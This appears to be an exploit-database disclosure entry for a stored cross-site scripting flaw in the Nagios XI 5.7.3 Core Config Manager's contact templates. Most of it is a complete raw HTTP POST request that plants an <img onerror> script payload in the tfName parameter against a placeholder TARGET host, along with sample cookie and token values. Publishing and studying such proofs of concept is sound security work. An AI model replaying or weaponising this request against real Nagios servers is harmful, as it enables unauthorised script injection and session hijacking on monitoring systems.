# Exploit Title: Nagios XI 5.7.3 - 'Contact Templates' Persistent Cross-Site Scripting # Date: 10-18-2020 # Exploit Author: Matthew Aberegg # Vendor Homepage: https://www.nagios.com/products/nagios-xi/ # Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/ # Software Link: https://www.nagios.com/downloads/nagios-xi/ # Version: Nagios XI 5.7.3 # Tested on: Ubuntu 18.04 # Vulnerability Details # Description : A persistent cross-site scripting vulnerability exists in the "Contact Templates" functionality of the Core Config Manager of Nagios XI. # Vulnerable Parameter : tfName # POC # Exploit Details : The following request will create a contact template with an XSS payload as the contact template name. Click on "Relationships" for the malicious template to trigger the payload. POST /nagiosxi/includes/components/ccm/index.php?type=contacttemplate&page=1 HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 642 Origin: http://TARGET Connection: close Referer: http://TARGET/nagiosxi/includes/components/ccm/index.php?cmd=modify&type=contacttemplate&id=7&page=1&returnUrl=index.php%3Fcmd%3Dview%26type%3Dcontacttemplate%26page%3D1 Cookie: nagiosxi=a354rem56a8aoeieqr9k2le39i Upgrade-Insecure-Requests: 1 tfName=<img+src=a+onerror=alert(1)>&tfFriendly=&tfEmail=&tfPager=&Active=1&tfAddress1=&tfAddress2=&tfAddress3=&tfAddress4=&tfAddress5=&tfAddress6=&radHostNotifEnabled=2&selHostPeriod=0&radStatusInfos=2&radNoStatusInfos=2&radServiceNotifEnabled=2&selServicePeriod=0&radCanSubCmds=2&radContactgroup=2&radServicecommand=2&radHostcommand=2&txtVariablename=&txtVariablevalue=&cmd=submit&mode=modify&hidId=7&hidName=test&hidServiceDescription=&hostAddress=127.0.0.1&exactType=contacttemplate&type=contacttemplate&genericType=contacttemplate&returnUrl=index.php%3Fcmd%3Dview%26type%3Dcontacttemplate%26page%3D1&token=3b8273eea1213ac4d2c1f3da1b0c370d